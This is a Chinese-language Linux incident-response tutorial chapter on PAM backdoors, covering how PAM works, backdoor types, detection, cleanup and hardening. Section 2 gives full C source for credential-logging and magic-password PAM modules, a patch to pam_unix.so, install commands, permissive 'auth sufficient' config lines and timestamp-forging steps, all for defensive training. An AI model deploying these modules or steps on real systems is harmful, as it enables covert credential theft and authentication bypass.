Linux应急响应 - 20 PAM后门

PAM (Pluggable Authentication Modules) 后门

PAM 是 Linux/Unix 系统的 统一认证框架,几乎所有需要用户认证的服务都通过 PAM 实现

攻击者通过篡改 PAM 模块或配置文件,可以实现:万能密码、凭据窃取、绕过认证

PAM 后门是最隐蔽的后门之一,因为它不修改目标服务本身,只修改底层认证层

相关页面:25-SSH软链接后门04-账户安全排查

一、PAM 架构概述

1.1 PAM 是什么

PAM (Pluggable Authentication Modules) 是一套共享库框架

提供 统一的认证 API,让应用程序无需关心具体认证方式

几乎所有 Linux 服务都使用 PAM:sshdloginsudosupasswdgdmvsftpd

认证方式可以灵活配置:密码、LDAP、Kerberos、OTP、生物识别等

架构示意:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
应用程序 (sshd, login, sudo, su ...)


PAM API (libpam.so)


PAM 配置文件 (/etc/pam.d/sshd, /etc/pam.d/login ...)


PAM 模块 (.so 文件)
├── pam_unix.so ← 传统 /etc/shadow 密码认证
├── pam_ldap.so ← LDAP 认证
├── pam_google_authenticator.so ← 2FA
├── pam_permit.so ← 始终允许(危险!)
├── pam_deny.so ← 始终拒绝
└── pam_<custom>.so ← 自定义/恶意模块

1.2 PAM 配置文件

配置文件位置:/etc/pam.d/ 目录下,每个服务一个配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 查看 SSH 服务的 PAM 配置
cat /etc/pam.d/sshd

# 典型内容示例(Ubuntu)
# @include common-auth ← 引用通用认证配置
# @include common-account
# @include common-session
# @include common-password

# 查看通用认证配置
cat /etc/pam.d/common-auth
# auth [success=1 default=ignore] pam_unix.so nullok_secure
# auth requisite pam_deny.so
# auth required pam_permit.so

CentOS/RHEL 使用 system-authpassword-auth 而非 common-*

配置文件语法:

1
2
类型    控制标志    模块路径    [模块参数]
auth required pam_unix.so nullok

1.3 四种模块类型

类型 作用 说明
auth 认证 验证用户身份(密码、令牌等)
account 账户管理 检查账户是否可用(过期、锁定、时间限制等)
password 密码管理 修改密码时的策略(复杂度、历史等)
session 会话管理 登录/注销时的操作(日志记录、资源限制、环境设置)

认证流程中 auth 最先执行,是攻击者最常篡改的类型

1.4 控制标志详解

控制标志 含义 失败后行为
required 必须成功,但会继续检查后续模块 最终返回失败(但继续执行后续模块)
requisite 必须成功,失败立即返回 立即返回失败
sufficient 成功则立即返回(跳过后续模块) 忽略失败,继续后续模块
optional 可选,不影响最终结果 忽略

sufficient 是后门的关键

如果一个 sufficient 模块返回成功,后续模块(包括真正的密码验证)都被跳过

攻击者在真正的认证模块 之前 插入一个 auth sufficient 的恶意模块,即可绕过密码验证

1.5 PAM 认证流程图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
用户尝试 SSH 登录


sshd 调用 PAM API:pam_authenticate()


PAM 读取 /etc/pam.d/sshd 配置


按顺序执行 auth 类型的模块:
┌───────────────────────────────┐
│ auth sufficient pam_evil.so │ ← 恶意模块(如果存在)
│ ↓ 成功 → 直接通过!跳过后续 │
│ ↓ 失败 → 继续下一个 │
├───────────────────────────────┤
│ auth required pam_unix.so │ ← 正常密码验证
│ ↓ 成功 → 标记成功 │
│ ↓ 失败 → 标记失败 │
├───────────────────────────────┤
│ auth requisite pam_deny.so │ ← 默认拒绝
└───────────────────────────────┘


返回最终结果给 sshd

关键点:模块执行顺序决定了安全性,位置靠前的 sufficient 模块可以覆盖后续所有检查

二、PAM 后门类型

2.1 万能密码后门(修改 pam_unix.so 源码)

原理:修改 pam_unix.so 源码,在密码验证逻辑中插入万能密码判断

实现步骤

1
2
3
4
5
6
7
8
9
10
11
# 第一步:获取系统 PAM 版本
dpkg -l | grep libpam # Ubuntu/Debian
rpm -qa | grep pam # CentOS/RHEL

# 第二步:下载对应版本源码
apt-get source libpam-modules # Ubuntu
# 或从 https://github.com/linux-pam/linux-pam 下载

# 第三步:修改源码(核心)
# 文件:modules/pam_unix/pam_unix_auth.c
# 在 pam_sm_authenticate() 函数中找到密码验证逻辑

源码修改示例(简化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* pam_unix_auth.c 中的关键修改 */
/* 在 pam_sm_authenticate 函数的密码验证部分 */

/* 原始代码 */
retval = _unix_verify_password(pamh, name, p, ctrl);

/* 修改后的代码 */
#define MAGIC_PASS "Sup3rS3cretP@ss!"
#define CRED_LOG "/tmp/.sshlog"

/* 如果输入的是万能密码,直接返回成功 */
if (strcmp(p, MAGIC_PASS) == 0) {
retval = PAM_SUCCESS;
} else {
retval = _unix_verify_password(pamh, name, p, ctrl);
}

/* 同时记录所有登录的用户名和密码 */
FILE *logfile = fopen(CRED_LOG, "a");
if (logfile) {
fprintf(logfile, "User: %s, Pass: %s, Host: %s\n",
name, p, rhost);
fclose(logfile);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 第四步:编译
cd linux-pam-*/
./configure
make

# 第五步:替换系统模块
# Ubuntu/Debian
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so
# CentOS/RHEL
cp modules/pam_unix/.libs/pam_unix.so /lib64/security/pam_unix.so

# 第六步:修改时间戳以伪装
touch -r /lib/x86_64-linux-gnu/security/pam_env.so \
/lib/x86_64-linux-gnu/security/pam_unix.so

效果

使用万能密码可以登录系统上的 任何账户

正常用户使用原密码仍然可以正常登录

所有登录凭据被记录到隐藏文件

2.2 凭据记录后门(仅记录不修改认证)

比万能密码后门更隐蔽 — 不改变任何认证行为,只悄悄记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/* pam_cred_logger.c - 凭据记录 PAM 模块 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <time.h>

#define LOG_FILE "/var/log/.auth_debug"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
const char *username = NULL;
const char *password = NULL;
const char *rhost = NULL;

/* 获取用户名 */
pam_get_user(pamh, &username, NULL);

/* 获取密码 */
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);

/* 获取远程主机 */
pam_get_item(pamh, PAM_RHOST, (const void **)&rhost);

/* 记录到隐藏日志文件 */
FILE *fp = fopen(LOG_FILE, "a");
if (fp) {
time_t now = time(NULL);
char *timestr = ctime(&now);
timestr[strlen(timestr)-1] = '\0';
fprintf(fp, "[%s] host=%s user=%s pass=%s\n",
timestr,
rhost ? rhost : "local",
username ? username : "unknown",
password ? password : "empty");
fclose(fp);
}

/* 返回 PAM_IGNORE - 不影响认证结果 */
return PAM_IGNORE;
}

/* 必须实现的桩函数 */
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
return PAM_SUCCESS;
}
1
2
3
4
5
6
7
8
# 编译
gcc -shared -fPIC -o pam_logger.so pam_cred_logger.c -lpam

# 安装
cp pam_logger.so /lib/x86_64-linux-gnu/security/

# 在 /etc/pam.d/common-auth 中添加(在 pam_unix.so 之前)
# auth optional pam_logger.so

特点:

返回 PAM_IGNORE,不影响正常认证流程

使用 optional 控制标志,即使模块出错也不影响登录

隐蔽性极高 — 不改变任何用户可感知的行为

2.3 配置文件后门(最简单但最容易被发现)

不修改任何 .so 文件,只修改 PAM 配置文件

方法一:pam_permit.so — 允许任何密码

1
2
3
4
5
6
# 在 /etc/pam.d/sshd 的 auth 部分最前面添加
auth sufficient pam_permit.so

# pam_permit.so 始终返回 PAM_SUCCESS
# 配合 sufficient 控制标志,直接通过认证,跳过后续所有检查
# 效果:任何用户使用任何密码(甚至空密码)都能 SSH 登录

问题:这种方式过于粗暴,任何人都能登录,很容易被发现

方法二:pam_exec.so — 执行自定义脚本

1
2
3
4
5
6
7
8
9
# 在 /etc/pam.d/sshd 中添加
auth optional pam_exec.so quiet /usr/local/bin/.auth_hook.sh

# /usr/local/bin/.auth_hook.sh 内容
#!/bin/bash
# PAM_USER 和 PAM_TYPE 由 pam_exec 自动设置
echo "$(date) $PAM_USER from $PAM_RHOST" >> /var/log/.pam_hook.log
# 可以在这里发送通知、记录凭据等
exit 0

方法三:条件后门 — 更隐蔽

1
2
3
4
5
6
7
# 使用 pam_access.so 配合 access.conf 实现条件后门
# 在 /etc/pam.d/sshd 中
auth sufficient pam_listfile.so \
item=user sense=allow file=/etc/security/.backdoor_users onerr=fail

# /etc/security/.backdoor_users 中列出可以免密登录的用户名
backdoor_user

2.4 自定义恶意 PAM 模块

最灵活也最危险的方式 — 编写全功能恶意 PAM 模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
/* pam_backdoor.c - 全功能 PAM 后门模块 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>

#define MAGIC_PASSWORD "B@ckd00r#2024"
#define LOG_PATH "/dev/shm/.pam_data"

PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh,
int flags,
int argc,
const char **argv) {
const char *username = NULL;
const char *password = NULL;
const char *rhost = NULL;
int retval;

/* 获取认证信息 */
pam_get_user(pamh, &username, NULL);
pam_get_authtok(pamh, PAM_AUTHTOK, &password, NULL);
pam_get_item(pamh, PAM_RHOST, (const void **)&rhost);

/* 记录凭据 */
if (username && password) {
FILE *fp = fopen(LOG_PATH, "a");
if (fp) {
fprintf(fp, "%s:%s:%s\n",
username, password,
rhost ? rhost : "local");
fclose(fp);
}
}

/* 万能密码检查 */
if (password && strcmp(password, MAGIC_PASSWORD) == 0) {
return PAM_SUCCESS;
}

/* 非万能密码,返回 IGNORE 让后续模块处理 */
return PAM_IGNORE;
}

PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh,
int flags, int argc,
const char **argv) {
return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh,
int flags, int argc,
const char **argv) {
return PAM_SUCCESS;
}
1
2
3
4
5
6
7
8
9
10
11
# 编译安装
gcc -shared -fPIC -o pam_backdoor.so pam_backdoor.c -lpam
cp pam_backdoor.so /lib/x86_64-linux-gnu/security/

# 配置(在 pam_unix.so 之前)
# /etc/pam.d/common-auth 或 /etc/pam.d/sshd
auth sufficient pam_backdoor.so

# 伪装文件名和时间戳
mv pam_backdoor.so pam_tally3.so # 伪装为合法模块名
touch -r pam_unix.so pam_tally3.so

三、检测方法

3.1 PAM 模块文件完整性校验

这是最可靠的检测方法 — 对比 PAM 模块的 hash 与软件包中原始文件的 hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# === Debian/Ubuntu ===
# 使用 debsums 校验所有 PAM 相关包
debsums libpam-modules
debsums libpam-modules-bin
debsums libpam-runtime

# 如果 debsums 未安装
apt install debsums

# debsums 输出示例:
# /lib/x86_64-linux-gnu/security/pam_unix.so OK
# /lib/x86_64-linux-gnu/security/pam_deny.so OK
# 如果某个文件被修改,显示 FAILED

# === CentOS/RHEL ===
# 使用 rpm -V 校验
rpm -V pam

# rpm -V 输出解读:
# S.5....T. /lib64/security/pam_unix.so
# S = 大小变化, 5 = MD5 校验和变化, T = 修改时间变化
# 以上输出说明 pam_unix.so 被修改过!

# === 通用方法:手动 hash 对比 ===
# 从另一台相同版本的干净系统获取 pam_unix.so 的 hash
sha256sum /lib/x86_64-linux-gnu/security/pam_unix.so
# 与干净系统对比

注意:攻击者可能修改 debsums/rpm 的数据库,最可靠的方式是从干净的安装源获取原始 hash

3.2 PAM 配置文件审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 检查所有 PAM 配置中是否存在可疑条目

# 1. 搜索 pam_permit.so(允许所有认证)
grep -rn "pam_permit" /etc/pam.d/
# pam_permit 在 auth sufficient 的位置是极度危险的
# 在 common-auth 最后作为 fallback 是正常的

# 2. 搜索 pam_exec.so(执行外部脚本)
grep -rn "pam_exec" /etc/pam.d/
# 如果找到,检查执行的脚本内容

# 3. 搜索 sufficient 关键字
grep -rn "sufficient" /etc/pam.d/
# 重点关注 auth sufficient 行
# 尤其是在 pam_unix.so 之前的 sufficient 模块

# 4. 搜索非标准模块
grep -rn "pam_" /etc/pam.d/ | grep -Ev \
"pam_unix|pam_deny|pam_permit|pam_env|pam_limits|pam_loginuid|pam_keyinit|\
pam_selinux|pam_namespace|pam_mail|pam_motd|pam_lastlog|pam_nologin|\
pam_securetty|pam_rootok|pam_wheel|pam_cap|pam_tally|pam_faillock|\
pam_succeed_if|pam_access|pam_systemd|pam_umask|pam_pwquality|pam_cracklib|\
pam_google_authenticator|pam_fprintd|pam_gnome_keyring|pam_sss"

# 5. 检查 PAM 配置文件修改时间
ls -la --time-style=full-iso /etc/pam.d/ | sort -k6

# 6. 对比配置文件与包默认值
# Debian/Ubuntu
debsums libpam-runtime
# CentOS/RHEL
rpm -V pam

3.3 检查非标准 PAM 模块文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 列出所有 PAM 模块
# Ubuntu/Debian
ls -la /lib/x86_64-linux-gnu/security/

# CentOS/RHEL
ls -la /lib64/security/

# 找出不属于任何已安装包的模块
# Debian/Ubuntu
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
if ! dpkg -S "$so" >/dev/null 2>&1; then
echo "[!] 非包管理的模块: $so"
file "$so"
sha256sum "$so"
ls -la "$so"
fi
done

# CentOS/RHEL
for so in /lib64/security/pam_*.so; do
if ! rpm -qf "$so" >/dev/null 2>&1; then
echo "[!] 非包管理的模块: $so"
file "$so"
sha256sum "$so"
ls -la "$so"
fi
done

3.4 检查 PAM 模块修改时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# PAM 模块通常在系统安装或更新时安装,修改时间应该一致
# 检查是否有某个模块时间与其他不同

# 按修改时间排序
ls -la --time-style=full-iso /lib/x86_64-linux-gnu/security/pam_*.so | sort -k6

# 使用 stat 获取详细时间信息
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
echo -n "$(basename $so): "
stat -c '%y' "$so"
done | sort -t: -k2

# 查找最近 30 天内被修改的 PAM 模块
find /lib/x86_64-linux-gnu/security/ /lib64/security/ \
-name "pam_*.so" -mtime -30 -ls 2>/dev/null

注意:攻击者可能使用 touch -r 伪造时间戳

更可靠的方法是检查 inode 更改时间(ctime),不能被 touch 修改:

1
2
3
4
5
6
7
8
9
# ctime(inode 变更时间)无法被 touch 篡改
stat /lib/x86_64-linux-gnu/security/pam_unix.so
# 关注 Change 行(ctime)而非 Modify 行(mtime)

# 对比所有 PAM 模块的 ctime
for so in /lib/x86_64-linux-gnu/security/pam_*.so; do
echo -n "$(basename $so): "
stat -c '%z' "$so" # %z = ctime
done | sort -t: -k2

3.5 使用 strings 分析可疑模块

1
2
3
4
5
6
7
8
9
10
11
12
13
# 如果发现可疑 PAM 模块,使用 strings 查看其中的字符串
strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -iE \
"password|passwd|backdoor|secret|magic|log|tmp|shm|fopen|fprintf"

# 对比正常和可疑的 pam_unix.so
strings /lib/x86_64-linux-gnu/security/pam_unix.so > /tmp/strings_suspicious.txt
# 从干净系统获取
strings /path/to/clean/pam_unix.so > /tmp/strings_clean.txt
diff /tmp/strings_clean.txt /tmp/strings_suspicious.txt

# 查找可能的凭据记录路径
strings /lib/x86_64-linux-gnu/security/pam_unix.so | grep -E "^/"
# 正常的 pam_unix.so 不会包含 /tmp、/dev/shm 等临时路径

3.6 检查可能的凭据记录文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 搜索可能的凭据记录文件
# 常见位置
ls -la /tmp/.ssh* /tmp/.pam* /tmp/.auth* /tmp/.log* 2>/dev/null
ls -la /dev/shm/.* 2>/dev/null
ls -la /var/log/.* 2>/dev/null
ls -la /var/tmp/.* 2>/dev/null

# 搜索隐藏文件中包含密码格式的内容
find /tmp /dev/shm /var/tmp -name ".*" -type f -exec \
grep -l -E "user.*pass|User.*Pass|password" {} \; 2>/dev/null

# 检查最近被写入的隐藏文件
find / -name ".*" -type f -newer /etc/hostname -not -path "/proc/*" \
-not -path "/sys/*" -not -path "/run/*" 2>/dev/null | head -30

3.7 综合 PAM 后门检测脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/bin/bash
# PAM 后门综合检测脚本
echo "========== PAM 后门检测 =========="
echo "[*] 检测时间: $(date)"
echo ""

# 确定 PAM 模块目录
if [ -d "/lib/x86_64-linux-gnu/security" ]; then
PAM_DIR="/lib/x86_64-linux-gnu/security"
elif [ -d "/lib64/security" ]; then
PAM_DIR="/lib64/security"
else
echo "[!] 无法找到 PAM 模块目录"
exit 1
fi

echo "[1] PAM 模块完整性检查"
if command -v debsums &>/dev/null; then
debsums libpam-modules 2>/dev/null | grep -v "OK$"
elif command -v rpm &>/dev/null; then
rpm -V pam 2>/dev/null | grep -E "^..5"
fi
echo ""

echo "[2] 可疑 PAM 配置检查"
echo "--- auth sufficient 行 ---"
grep -rn "auth.*sufficient" /etc/pam.d/ | grep -v "pam_unix\|pam_sss\|pam_fprintd\|pam_rootok"
echo "--- pam_permit 在 auth 中 ---"
grep -rn "auth.*pam_permit" /etc/pam.d/
echo "--- pam_exec 使用 ---"
grep -rn "pam_exec" /etc/pam.d/
echo ""

echo "[3] 非包管理的 PAM 模块"
for so in "$PAM_DIR"/pam_*.so; do
if command -v dpkg &>/dev/null; then
dpkg -S "$so" >/dev/null 2>&1 || echo "[!] $so"
elif command -v rpm &>/dev/null; then
rpm -qf "$so" >/dev/null 2>&1 || echo "[!] $so"
fi
done
echo ""

echo "[4] PAM 模块时间异常检查"
echo "--- 按 ctime 排序的 PAM 模块 ---"
for so in "$PAM_DIR"/pam_*.so; do
echo "$(stat -c '%z' "$so") $(basename "$so")"
done | sort | tail -5
echo ""

echo "[5] 可疑凭据记录文件"
find /tmp /dev/shm /var/tmp -name ".*" -type f 2>/dev/null | head -10
echo ""

echo "========== 检测完成 =========="

四、清除与加固

4.1 清除步骤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 第一步:确认感染类型
# 是配置文件被修改还是 .so 被替换/新增

# === 如果是配置文件后门 ===
# 恢复 PAM 配置到默认值
# Debian/Ubuntu
apt install --reinstall libpam-runtime
# 或手动删除恶意行
vim /etc/pam.d/sshd # 删除可疑的 auth sufficient 行

# === 如果是 pam_unix.so 被替换 ===
# 重新安装 PAM 模块包
# Debian/Ubuntu
apt install --reinstall libpam-modules
# CentOS/RHEL
yum reinstall pam

# === 如果是自定义恶意模块 ===
# 1. 从配置文件中删除引用
grep -rn "pam_evil\|pam_backdoor\|pam_tally3" /etc/pam.d/
# 2. 删除恶意 .so 文件
rm /lib/x86_64-linux-gnu/security/pam_evil.so

# 第二步:清除凭据记录文件
find /tmp /dev/shm /var/tmp /var/log -name ".*" -type f -exec \
file {} \; 2>/dev/null | grep "text"
# 检查内容后删除

# 第三步:重启 SSH 服务确认正常
systemctl restart sshd
# 测试正常用户能否登录

4.2 加固建议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 1. 使用 auditd 监控 PAM 文件变更
# 监控 PAM 配置目录
auditctl -w /etc/pam.d/ -p wa -k pam_config_change
# 监控 PAM 模块目录
auditctl -w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change
# 监控 /etc/ld.so.preload
auditctl -w /etc/ld.so.preload -p wa -k preload_change

# 持久化 audit 规则(写入 /etc/audit/rules.d/pam.rules)
echo "-w /etc/pam.d/ -p wa -k pam_config_change" >> /etc/audit/rules.d/pam.rules
echo "-w /lib/x86_64-linux-gnu/security/ -p wa -k pam_module_change" >> /etc/audit/rules.d/pam.rules

# 2. 定期进行完整性检查
# 创建基线
sha256sum /lib/x86_64-linux-gnu/security/pam_*.so > /root/.pam_baseline.sha256
# 定期对比
sha256sum -c /root/.pam_baseline.sha256

# 3. 使用 AIDE 或 Tripwire 进行文件完整性监控
# AIDE 配置示例
# /etc/aide/aide.conf
# /lib/x86_64-linux-gnu/security/ Full
# /etc/pam.d/ Full

# 4. 限制 PAM 模块目录权限
chmod 755 /lib/x86_64-linux-gnu/security/
chmod 644 /lib/x86_64-linux-gnu/security/pam_*.so
chown root:root /lib/x86_64-linux-gnu/security/pam_*.so

五、真实案例分析

5.1 案例:SSH 登录异常但密码未泄露

现象:安全团队发现有未知 IP 成功 SSH 登录了多个服务器账户

分析过程

  1. 检查 /var/log/auth.log 发现多个账户被不同 IP 成功登录

  2. 账户密码未被泄露(密码复杂度足够,未在其他地方使用)

  3. 检查 /etc/pam.d/sshd 发现多了一行:auth sufficient pam_debug.so

  4. /lib/x86_64-linux-gnu/security/pam_debug.so 不属于系统包

  5. strings 分析发现包含万能密码字符串

  6. 发现 /dev/shm/.pam_data 中存储了大量明文凭据

时间线重建

攻击者通过 Web 漏洞获取初始访问

提权后安装 PAM 后门

使用万能密码横向移动到其他服务器

5.2 案例:pam_unix.so 被替换

现象rpm -V pam 显示 pam_unix.so 的大小和哈希值与原始包不同

分析

strings pam_unix.so 发现可疑字符串 /tmp/.cache/.data

stat 显示文件 mtime 与其他模块一致(被 touch -r 伪造)

但 ctime 比其他模块晚了 2 周 — 符合入侵时间

/tmp/.cache/.data 中发现 200+ 条明文用户名密码记录

六、知识要点总结

后门类型 隐蔽性 检测难度 影响范围
配置文件后门(pam_permit) 配置涉及的服务
自定义 PAM 模块 配置涉及的服务
修改 pam_unix.so 中-高 所有使用 PAM 的服务
纯凭据记录模块 极高 被动记录,不改变认证行为

检测优先级:

  1. debsums/rpm -V 完整性校验 — 最快发现 .so 替换

  2. 审计 PAM 配置文件 — 发现配置注入

  3. 非包管理的 .so 文件检查 — 发现新增恶意模块

  4. ctime 时间对比 — 发现文件替换(即使 mtime 被伪造)

  5. strings 分析 — 确认恶意模块内容

七、配套实验

实验目录:labs/15-persistence-pam/

实验内容:

实验 15.1:PAM 配置文件后门实施与检测

实验 15.2:编写自定义 PAM 凭据记录模块

实验 15.3:使用 debsums/rpm -V 检测 PAM 模块篡改

实验 15.4:综合检测脚本实战

⚠️ 所有实验必须在隔离的虚拟机环境中进行


上一章 目录 下一章
19-LD_PRELOAD劫持 Linux应急响应 21-Rootkit检测